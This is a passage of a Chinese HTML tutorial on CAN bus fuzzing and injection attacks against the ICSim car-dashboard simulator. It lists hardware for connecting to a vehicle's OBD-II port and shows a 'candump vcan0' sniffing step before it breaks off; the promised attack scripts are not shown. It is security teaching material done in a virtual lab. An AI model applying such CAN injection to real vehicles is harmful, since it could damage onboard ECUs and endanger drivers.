12px;\">\n<section style=\"text-align: center;\"><span leaf=\"\"><span textstyle=\"\" style=\"color: rgb(0, 0, 0);\">\u7528\u9014<\/span><\/span><\/section>\n<\/th>\n<\/tr>\n<tr>\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;\">\n<section><span leaf=\"\">\u5355\u677f\u8ba1\u7b97\u673a<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;\">\n<section><span leaf=\"\">\u6811\u8393\u6d3e4B \/ \u9f99\u82af\u6d3e<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;\">\n<section><span leaf=\"\">\u7ea6300-500\u5143<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;\">\n<section><span leaf=\"\">\u8fd0\u884cLinux + CAN\u5de5\u5177<\/span><\/section>\n<\/td>\n<\/tr>\n<tr style=\"background: rgb(245, 247, 255);\">\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;\">\n<section><span leaf=\"\">CAN\u6269\u5c55\u677f<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;\">\n<section><span leaf=\"\">Waveshare CAN Hat<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;\">\n<section><span leaf=\"\">\u7ea680-120\u5143<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;\">\n<section><span leaf=\"\">SPI\u63a5\u53e3\u8f6c<\/span><span style=\"color: rgb(21, 101, 192);font-weight: 600;\"><span leaf=\"\">CAN\u603b\u7ebf<\/span><\/span><\/section>\n<\/td>\n<\/tr>\n<tr>\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;\"><span style=\"background: rgb(227, 242, 253);color: rgb(13, 71, 161);padding: 1px 5px;border-radius: 3px;font-weight: 600;\"><span leaf=\"\">OBD-II<\/span><\/span><\/p>\n<section><span leaf=\"\">\u8fde\u63a5\u7ebf<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;\">\n<section><span leaf=\"\">\u6807\u51c6<\/span><span style=\"background: rgb(227, 242, 253);color: rgb(13, 71, 161);padding: 1px 5px;border-radius: 3px;font-weight: 600;\"><span leaf=\"\">OBD-II<\/span><\/span><span leaf=\"\">&nbsp;16pin\u7ebf<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;\">\n<section><span leaf=\"\">\u7ea620-30\u5143<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;\">\n<section><span leaf=\"\">\u8fde\u63a5\u8f66\u8eab<\/span><span style=\"color: rgb(21, 101, 192);font-weight: 600;\"><span leaf=\"\">CAN\u603b\u7ebf<\/span><\/span><\/section>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p style=\"margin: 0px;font-size: 14px;color: rgb(133, 100, 4);\"><strong><span leaf=\"\">\u26a0\ufe0f \u5b89\u5168\u8b66\u544a\uff1a<\/span><\/strong><span leaf=\"\">\u63a5\u771f\u5b9e\u8f66\u8f86\u4e4b\u524d\uff0c\u52a1\u5fc5\u786e\u8ba4\uff1a<span textstyle=\"\" style=\"color: rgb(255, 41, 65);\">\u2460<\/span>&nbsp;\u8f66\u8f86\u5904\u4e8e\u7184\u706b\u65ad\u7535\u72b6\u6001\uff1b<span textstyle=\"\" style=\"color: rgb(255, 41, 65);\">\u2461<\/span>&nbsp;\u4f7f\u7528<\/span><span style=\"color: rgb(21, 101, 192);font-weight: 600;\"><span leaf=\"\">CAN\u603b\u7ebf<\/span><\/span><span leaf=\"\">\u9694\u79bb\u5668\u4fdd\u62a4\u8bbe\u5907\uff1b<span textstyle=\"\" style=\"color: rgb(255, 41, 65);\">\u2462<\/span>&nbsp;\u5207\u52ff\u5728\u8f66\u8f86\u884c\u9a76\u8fc7\u7a0b\u4e2d\u8fde\u63a5\u6d4b\u8bd5\u8bbe\u5907\u3002\u9519\u8bef\u7684\u64cd\u4f5c\u53ef\u80fd\u635f\u574f\u8f66\u8f7dECU\u3002<\/span><\/p>\n<hr style=\"border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);\"  \/>\n<h2 style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 19px;color: rgb(26, 35, 126);border-left: 4px solid rgb(21, 101, 192);padding: 8px 16px;margin: 36px 0px 20px -4px;background: linear-gradient(90deg, rgb(227, 240, 255) 0%, transparent 100%);border-radius: 0px 6px 6px 0px;border-bottom-width: medium;border-bottom-style: none;border-bottom-color: currentcolor;\" data-pm-slice=\"0 0 []\"><span leaf=\"\">\u56db\u3001<\/span><span style=\"color: rgb(198, 40, 40);font-weight: 700;\"><span leaf=\"\">\u6a21\u7cca\u6ce8\u5165<\/span><\/span><span leaf=\"\">\u653b\u51fb\u5b9e\u64cd\uff1a\u4ece\u76d1\u542c\u5230\u653b\u51fb<\/span><\/h2>\n<section><span leaf=\"\"><br  \/><\/span><\/section>\n<p style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 0px 0px 14px;text-align: justify;\"><span leaf=\"\">\u73af\u5883\u642d\u5efa\u5b8c\u6210\u540e\uff0c\u6b63\u5f0f\u8fdb\u5165\u5b9e\u64cd\u73af\u8282\u3002\u8fd9\u4e00\u7ae0\u5c06\u5b8c\u6574\u6f14\u793a\u4ece&#8221;\u6b63\u5e38\u76d1\u542c&#8221;\u5230&#8221;<\/span><span style=\"color: rgb(198, 40, 40);font-weight: 700;\"><span leaf=\"\">\u6a21\u7cca\u6ce8\u5165<\/span><\/span><span leaf=\"\">&#8220;\u7684\u5168\u6d41\u7a0b\u653b\u51fb\uff0c\u6bcf\u4e00\u6b65\u90fd\u7ed9\u51fa\u53ef\u8fd0\u884c\u7684\u771f\u5b9e\u547d\u4ee4\u548cPython\u811a\u672c\u3002<\/span><\/p>\n<section><span leaf=\"\"><br  \/><\/span><\/section>\n<figure style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 24px 0px;background: rgb(26, 26, 46);border: 1px solid rgb(51, 51, 51);border-radius: 10px;padding: 20px;text-align: center;\">\n<p><span style=\"color: rgb(136, 136, 136);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 12px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(26, 26, 46);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;\" data-pm-slice=\"0 0 []\"><span leaf=\"\">\u56fe\uff1aICSim\u6c7d\u8f66\u4eea\u8868\u76d8 \u2014 \u901f\u5ea6\u8868 \/ \u8f6c\u901f\u8868 \/ \u8f66\u95e8\u6307\u793a\u706f<\/span><\/span><\/p>\n<p><svg viewbox=\"0 0 700 260\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:100%;max-width:700px;font-family:sans-serif;\"><rect x=\"0\" y=\"0\" width=\"700\" height=\"260\" rx=\"20\" fill=\"#1a1a2e\"><\/rect><g transform=\"translate(200,145)\"><circle cx=\"0\" cy=\"0\" r=\"110\" fill=\"#222\" stroke=\"#444\" stroke-width=\"3\"><\/circle><circle cx=\"0\" cy=\"0\" r=\"95\" fill=\"none\" stroke=\"#333\" stroke-width=\"1\"><\/circle><path d=\"M -70 20 A 75 75 0 0 1 70 20\" fill=\"none\" stroke=\"#4caf50\" stroke-width=\"8\" stroke-linecap=\"round\"><\/path><path d=\"M 20 -75 A 75 75 0 0 1 70 20\" fill=\"none\" stroke=\"#ff9800\" stroke-width=\"8\" stroke-linecap=\"round\"><\/path><g stroke=\"#fff\" stroke-width=\"2\" opacity=\"0.7\"><line x1=\"0\" y1=\"-85\" x2=\"0\" y2=\"-73\" transform=\"rotate(-135)\"><\/line><line x1=\"0\" y1=\"-85\" x2=\"0\" y2=\"-73\" transform=\"rotate(-108)\"><\/line><line x1=\"0\" y1=\"-85\" x2=\"0\" y2=\"-73\" transform=\"rotate(-81)\"><\/line><line x1=\"0\" y1=\"-85\" x2=\"0\" y2=\"-73\" transform=\"rotate(-54)\"><\/line><line x1=\"0\" y1=\"-85\" x2=\"0\" y2=\"-73\" transform=\"rotate(-27)\"><\/line><line x1=\"0\" y1=\"-85\" x2=\"0\" y2=\"-73\" transform=\"rotate(0)\"><\/line><line x1=\"0\" y1=\"-85\" x2=\"0\" y2=\"-73\" transform=\"rotate(27)\"><\/line><line x1=\"0\" y1=\"-85\" x2=\"0\" y2=\"-73\" transform=\"rotate(54)\"><\/line><line x1=\"0\" y1=\"-85\" x2=\"0\" y2=\"-73\" transform=\"rotate(81)\"><\/line><line x1=\"0\" y1=\"-85\" x2=\"0\" y2=\"-73\" transform=\"rotate(108)\"><\/line><line x1=\"0\" y1=\"-85\" x2=\"0\" y2=\"-73\" transform=\"rotate(135)\"><\/line><\/g><text x=\"-65\" y=\"18\" text-anchor=\"middle\" font-size=\"11\" fill=\"#aaa\"><tspan leaf=\"\">0<\/tspan><\/text><text x=\"-42\" y=\"-38\" text-anchor=\"middle\" font-size=\"11\" fill=\"#aaa\"><tspan leaf=\"\">40<\/tspan><\/text><text x=\"-8\" y=\"-62\" text-anchor=\"middle\" font-size=\"11\" fill=\"#ffeb3b\"><tspan leaf=\"\">80<\/tspan><\/text><text x=\"30\" y=\"-58\" text-anchor=\"middle\" font-size=\"11\" fill=\"#ffeb3b\"><tspan leaf=\"\">120<\/tspan><\/text><text x=\"55\" y=\"-33\" text-anchor=\"middle\" font-size=\"11\" fill=\"#ff9800\"><tspan leaf=\"\">160<\/tspan><\/text><text x=\"65\" y=\"12\" text-anchor=\"middle\" font-size=\"11\" fill=\"#f44336\"><tspan leaf=\"\">200<\/tspan><\/text><g transform=\"rotate(0)\"><polygon points=\"0,-70 -5,12 0,18 5,12\" fill=\"#f44336\"><\/polygon><circle cx=\"0\" cy=\"0\" r=\"8\" fill=\"#c62828\"><\/circle><\/g><text x=\"0\" y=\"35\" text-anchor=\"middle\" font-size=\"10\" fill=\"#888\"><tspan leaf=\"\">km\/h<\/tspan><\/text><text x=\"0\" y=\"52\" text-anchor=\"middle\" font-size=\"22\" fill=\"#fff\" font-weight=\"bold\"><tspan leaf=\"\">100<\/tspan><\/text><\/g><g transform=\"translate(70,205)\"><circle cx=\"0\" cy=\"0\" r=\"50\" fill=\"#222\" stroke=\"#444\" stroke-width=\"2\"><\/circle><text x=\"0\" y=\"-32\" text-anchor=\"middle\" font-size=\"8\" fill=\"#aaa\"><tspan leaf=\"\">x1000 RPM<\/tspan><\/text><g transform=\"rotate(10)\"><polygon points=\"0,-38 -3,8 0,12 3,8\" fill=\"#ff9800\"><\/polygon><circle cx=\"0\" cy=\"0\" r=\"4\" fill=\"#ff6f00\"><\/circle><\/g><text x=\"0\" y=\"28\" text-anchor=\"middle\" font-size=\"13\" fill=\"#ff9800\" font-weight=\"bold\"><tspan leaf=\"\">2.0<\/tspan><\/text><\/g><g transform=\"translate(630,205)\"><circle cx=\"0\" cy=\"0\" r=\"50\" fill=\"#222\" stroke=\"#444\" stroke-width=\"2\"><\/circle><text x=\"0\" y=\"-32\" text-anchor=\"middle\" font-size=\"8\" fill=\"#aaa\"><tspan leaf=\"\">FUEL<\/tspan><\/text><g transform=\"rotate(-40)\"><polygon points=\"0,-38 -3,8 0,12 3,8\" fill=\"#4caf50\"><\/polygon><circle cx=\"0\" cy=\"0\" r=\"4\" fill=\"#388e3c\"><\/circle><\/g><text x=\"-16\" y=\"5\" text-anchor=\"middle\" font-size=\"9\" fill=\"#888\"><tspan leaf=\"\">E<\/tspan><\/text><text x=\"16\" y=\"5\" text-anchor=\"middle\" font-size=\"9\" fill=\"#4caf50\"><tspan leaf=\"\">F<\/tspan><\/text><text x=\"0\" y=\"28\" text-anchor=\"middle\" font-size=\"13\" fill=\"#4caf50\" font-weight=\"bold\"><tspan leaf=\"\">\u6ee1<\/tspan><\/text><\/g><rect x=\"500\" y=\"25\" width=\"80\" height=\"26\" rx=\"5\" fill=\"#4caf50\" stroke=\"#388e3c\" stroke-width=\"1.5\"><\/rect><text x=\"540\" y=\"42\" text-anchor=\"middle\" font-size=\"10\" fill=\"white\" font-weight=\"bold\"><tspan leaf=\"\">\ud83d\udeaa \u8f66\u95e8<\/tspan><\/text><g transform=\"translate(110,25)\"><rect x=\"0\" y=\"0\" width=\"60\" height=\"20\" rx=\"4\" fill=\"#222\" stroke=\"#444\" stroke-width=\"1\"><\/rect><text x=\"30\" y=\"13\" text-anchor=\"middle\" font-size=\"9\" fill=\"#888\"><tspan leaf=\"\">\ud83c\udf21 \u6e29\u5ea6<\/tspan><\/text><\/g><text x=\"350\" y=\"250\" text-anchor=\"middle\" font-size=\"10\" fill=\"#555\"><tspan leaf=\"\">\u2190 \u8f6c\u901f\u8868(\u5de6) | \u901f\u5ea6\u8868 0-200km\/h(\u4e2d) | \u6cb9\u91cf+\u8f66\u95e8+\u6e29\u5ea6(\u53f3) \u2192<\/tspan><\/text><\/svg><\/figure>\n<section><span leaf=\"\"><br  \/><\/span><\/section>\n<p style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(136, 136, 136);font-size: 13px;margin-bottom: 20px;\"><span leaf=\"\">\u26a0\ufe0f \u91cd\u8981\u63d0\u793a\uff1a\u4ee5\u4e0b\u6240\u6709\u653b\u51fb\u5747\u5728\u865a\u62dfCAN\uff08<\/span><span style=\"background: rgb(232, 245, 233);color: rgb(46, 125, 50);padding: 1px 5px;border-radius: 3px;font-family: monospace;font-size: 13px;\"><span leaf=\"\">vcan0<\/span><\/span><span leaf=\"\">\uff09\u73af\u5883\u4e0b\u6267\u884c\uff0c\u4e0d\u6d89\u53ca\u771f\u5b9e\u8f66\u8f86\u548c\u4efb\u4f55\u771f\u5b9e\u9053\u8def\u884c\u4e3a\uff0c\u5b8c\u5168\u5408\u6cd5\u3002<\/span><\/p>\n<h3 style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 16px;color: rgb(13, 71, 161);margin-top: 28px;padding-bottom: 6px;border-bottom: 1px dashed rgb(187, 222, 251);\"><span leaf=\"\"><span textstyle=\"\" style=\"font-weight: bold;\">4.1 \u7b2c\u4e00\u6b65\uff1a\u6b63\u5e38\u76d1\u542c<\/span><\/span><span style=\"color: rgb(21, 101, 192);font-weight: 600;\"><span leaf=\"\"><span textstyle=\"\" style=\"font-weight: bold;\">CAN\u603b\u7ebf<\/span><\/span><\/span><span leaf=\"\"><span textstyle=\"\" style=\"font-weight: bold;\">\uff08\u4fa6\u5bdf\u9636\u6bb5\uff09<\/span><\/span><\/h3>\n<p style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;\"><span leaf=\"\">\u5728\u4efb\u4f55\u653b\u51fb\u4e4b\u524d\uff0c\u6d4b\u8bd5\u5de5\u7a0b\u5e08\u90fd\u9700\u8981\u5148\u4e86\u89e3&#8221;\u6b63\u5e38\u72b6\u6001&#8221;\u662f\u4ec0\u4e48\u6837\u7684\u3002\u6253\u5f00\u4e00\u4e2a\u65b0\u7ec8\u7aef\uff0c\u6267\u884c\u76d1\u542c\u547d\u4ee4\uff1a<\/span><\/p>\n<section><span leaf=\"\"><br  \/><\/span><\/section>\n<figure style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 24px 0px;background: rgb(248, 250, 252);border: 1px solid rgb(226, 232, 240);border-radius: 10px;padding: 20px;text-align: center;\">\n<p><span leaf=\"\">\u56fe\uff1a\u6b63\u5e38\u72b6\u6001 vs \u653b\u51fb\u72b6\u6001 \u2014 ICSim\u4eea\u8868\u76d8\u54cd\u5e94\u5bf9\u6bd4<\/span><\/p>\n<p><svg viewbox=\"0 0 800 290\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:100%;font-family:sans-serif;\"><rect x=\"10\" y=\"10\" width=\"380\" height=\"268\" rx=\"12\" fill=\"#e8f5e9\" stroke=\"#4caf50\" stroke-width=\"2\"><\/rect><text x=\"200\" y=\"38\" text-anchor=\"middle\" font-size=\"15\" fill=\"#2e7d32\" font-weight=\"bold\"><tspan leaf=\"\">\u2705 \u6b63\u5e38\u72b6\u6001<\/tspan><\/text><g transform=\"translate(200,155)\"><circle cx=\"0\" cy=\"0\" r=\"90\" fill=\"#1a1a1a\" stroke=\"#333\" stroke-width=\"2\"><\/circle><path d=\"M -60 15 A 65 65 0 0 1 60 15\" fill=\"none\" stroke=\"#4caf50\" stroke-width=\"6\" stroke-linecap=\"round\"><\/path><path d=\"M 15 -65 A 65 65 0 0 1 60 15\" fill=\"none\" stroke=\"#81c784\" stroke-width=\"6\" stroke-linecap=\"round\"><\/path><text x=\"-55\" y=\"15\" text-anchor=\"middle\" font-size=\"9\" fill=\"#555\"><tspan leaf=\"\">0<\/tspan><\/text><text x=\"-22\" y=\"-45\" text-anchor=\"middle\" font-size=\"9\" fill=\"#888\"><tspan leaf=\"\">80<\/tspan><\/text><text x=\"18\" y=\"-58\" text-anchor=\"middle\" font-size=\"9\" fill=\"#fff\"><tspan leaf=\"\">120<\/tspan><\/text><g transform=\"rotate(0)\"><polygon points=\"0,-58 -4,12 0,17 4,12\" fill=\"#4caf50\"><\/polygon><circle cx=\"0\" cy=\"0\" r=\"5\" fill=\"#2e7d32\"><\/circle><\/g><text x=\"0\" y=\"32\" text-anchor=\"middle\" font-size=\"8\" fill=\"#555\"><tspan leaf=\"\">km\/h<\/tspan><\/text><text x=\"0\" y=\"52\" text-anchor=\"middle\" font-size=\"20\" fill=\"#4caf50\" font-weight=\"bold\"><tspan leaf=\"\">100<\/tspan><\/text><circle cx=\"65\" cy=\"-65\" r=\"15\" fill=\"#1b5e20\" stroke=\"#4caf50\" stroke-width=\"1.5\"><\/circle><text x=\"65\" y=\"-60\" text-anchor=\"middle\" font-size=\"10\" fill=\"#4caf50\"><tspan leaf=\"\">\u2713<\/tspan><\/text><\/g><text x=\"200\" y=\"262\" text-anchor=\"middle\" font-size=\"10\" fill=\"#2e7d32\"><tspan leaf=\"\">\u6307\u9488\u7a33\u6001 \u00b7 \u65e0\u544a\u8b66\u706f \u00b7 \u4e00\u5207\u6b63\u5e38<\/tspan><\/text><line x1=\"400\" y1=\"20\" x2=\"400\" y2=\"268\" stroke=\"#ccc\" stroke-width=\"1\" stroke-dasharray=\"6,4\"><\/line><text x=\"400\" y=\"145\" text-anchor=\"middle\" font-size=\"13\" fill=\"#ccc\" font-weight=\"bold\"><tspan leaf=\"\">VS<\/tspan><\/text><rect x=\"410\" y=\"10\" width=\"380\" height=\"268\" rx=\"12\" fill=\"#ffebee\" stroke=\"#c62828\" stroke-width=\"2\"><\/rect><text x=\"600\" y=\"38\" text-anchor=\"middle\" font-size=\"15\" fill=\"#c62828\" font-weight=\"bold\"><tspan leaf=\"\">\u26a0\ufe0f \u653b\u51fb\u72b6\u6001<\/tspan><\/text><g transform=\"translate(600,155)\"><circle cx=\"0\" cy=\"0\" r=\"90\" fill=\"#1a1a1a\" stroke=\"#c62828\" stroke-width=\"2\"><\/circle><path d=\"M -60 15 A 65 65 0 0 1 60 15\" fill=\"none\" stroke=\"#c62828\" stroke-width=\"6\" stroke-linecap=\"round\"><\/path><path d=\"M -60 0 A 65 65 0 0 1 60 15\" fill=\"none\" stroke=\"#ef5350\" stroke-width=\"6\" stroke-linecap=\"round\"><\/path><text x=\"-55\" y=\"15\" text-anchor=\"middle\" font-size=\"9\" fill=\"#555\"><tspan leaf=\"\">0<\/tspan><\/text><text x=\"18\" y=\"-58\" text-anchor=\"middle\" font-size=\"9\" fill=\"#c62828\"><tspan leaf=\"\">120<\/tspan><\/text><polyline points=\"0,-58 5,-30 -3,-10 8,20 -5,50 3,65 -4,72\" fill=\"none\" stroke=\"#f44336\" stroke-width=\"3\" stroke-linecap=\"round\" stroke-linejoin=\"round\"><\/polyline><circle cx=\"-4\" cy=\"72\" r=\"5\" fill=\"#c62828\"><\/circle><text x=\"0\" y=\"32\" text-anchor=\"middle\" font-size=\"8\" fill=\"#555\"><tspan leaf=\"\">km\/h<\/tspan><\/text><text x=\"0\" y=\"52\" text-anchor=\"middle\" font-size=\"17\" fill=\"#f44336\" font-weight=\"bold\"><tspan leaf=\"\">0-180<\/tspan><\/text><polygon points=\"65,-65 53,-45 77,-45\" fill=\"#c62828\" stroke=\"#b71c1c\" stroke-width=\"1\"><\/polygon><text x=\"65\" y=\"-50\" text-anchor=\"middle\" font-size=\"12\" fill=\"white\" font-weight=\"bold\"><tspan leaf=\"\">!<\/tspan><\/text><rect x=\"-85\" y=\"-70\" width=\"18\" height=\"18\" rx=\"3\" fill=\"#c62828\"><\/rect><text x=\"-76\" y=\"-57\" text-anchor=\"middle\" font-size=\"11\" fill=\"white\"><tspan leaf=\"\">\ud83d\udeaa<\/tspan><\/text><\/g><text x=\"600\" y=\"262\" text-anchor=\"middle\" font-size=\"10\" fill=\"#c62828\"><tspan leaf=\"\">\u6307\u9488\u4e71\u8df3 \u00b7 \u901f\u5ea6\u8df3\u53d8 0-180km\/h \u00b7 \u544a\u8b66\u706f\u4eae<\/tspan><\/text><\/svg><\/figure>\n<section><span leaf=\"\"><br  \/><\/span><\/section>\n<section class=\"code-snippet__fix code-snippet__js\">\n<ul class=\"code-snippet__line-index code-snippet__js\">\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<\/ul>\n<pre class=\"code-snippet__js\" data-lang=\"nginx\"><code><span leaf=\"\"><span class=\"code-snippet__comment\"># \u76d1\u542cvcan0\u4e0a\u7684\u6240\u6709CAN\u5e27\uff08\u6309Ctrl+C\u505c\u6b62\uff09<\/span><\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__attribute\">candump<\/span>&nbsp;vcan0<\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__comment\"># \u540c\u65f6\u5728\u53e6\u4e00\u4e2a\u7ec8\u7aef\u7528controls\u64cd\u4f5cICSim\uff08\u6309\u65b9\u5411\u952e\uff09<\/span><\/span><\/code><\/pre>\n<\/section>\n<p style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;\"><span style=\"color: rgb(192, 57, 43);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 245, 245);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;\"><span style=\"color: rgb(136, 136, 136);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 13px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;\"><span style=\"color: rgb(136, 136, 136);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 13px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;\" data-pm-slice=\"0 0 []\"><span leaf=\"\">\u6b63\u5e38\u8f93\u51fa\u793a\u4f8b\uff1a<\/span><\/span><\/span><\/span><\/p>\n<pre style=\"font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background: rgb(26, 26, 46);color: rgb(212, 212, 212);padding: 18px 20px;border-radius: 10px;font-family: &quot;Courier New&quot;, &quot;Fira Code&quot;, monospace;font-size: 13px;line-height: 1.7;overflow-x: auto;margin: 16px 0px;border-left: 4px solid rgb(21, 101, 192);box-shadow: rgba(0, 0, 0, 0.15) 0px 2px 8px;\" data-pm-slice=\"0 0 []\"><span style=\"background: rgb(232, 245, 233);color: rgb(46, 125, 50);padding: 1px 5px;border-radius: 3px;font-family: monospace;font-size: 13px;\"><span leaf=\"\">vcan0<\/span><\/span><span style=\"color: rgb(156, 220, 254);\"><span leaf=\"\">0x1A4<\/span><\/span><span leaf=\"\">&nbsp; [<\/span><span style=\"color: rgb(181, 206, 168);\"><span leaf=\"\">8<\/span><\/span><span leaf=\"\">] &nbsp;<\/span><span style=\"color: rgb(206, 145, 120);\"><span leaf=\"\">00 00 00 00 00 00 00 00<\/span><\/span><span style=\"background: rgb(232, 245, 233);color: rgb(46, 125, 50);padding: 1px 5px;border-radius: 3px;font-family: monospace;font-size: 13px;\"><span leaf=\"\"><br  \/><\/span><\/span><\/pre>\n<pre style=\"font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background: rgb(26, 26, 46);color: rgb(212, 212, 212);padding: 18px 20px;border-radius: 10px;font-family: &quot;Courier New&quot;, &quot;Fira Code&quot;, monospace;font-size: 13px;line-height: 1.7;overflow-x: auto;margin: 16px 0px;border-left: 4px solid rgb(21, 101, 192);box-shadow: rgba(0, 0, 0, 0.15) 0px 2px 8px;\" data-pm-slice=\"0 0 []\"><span style=\"background: rgb(232, 245, 233);color: rgb(46, 125, 50);padding: 1px 5px;border-radius: 3px;font-family: monospace;font-size: 13px;\"><span 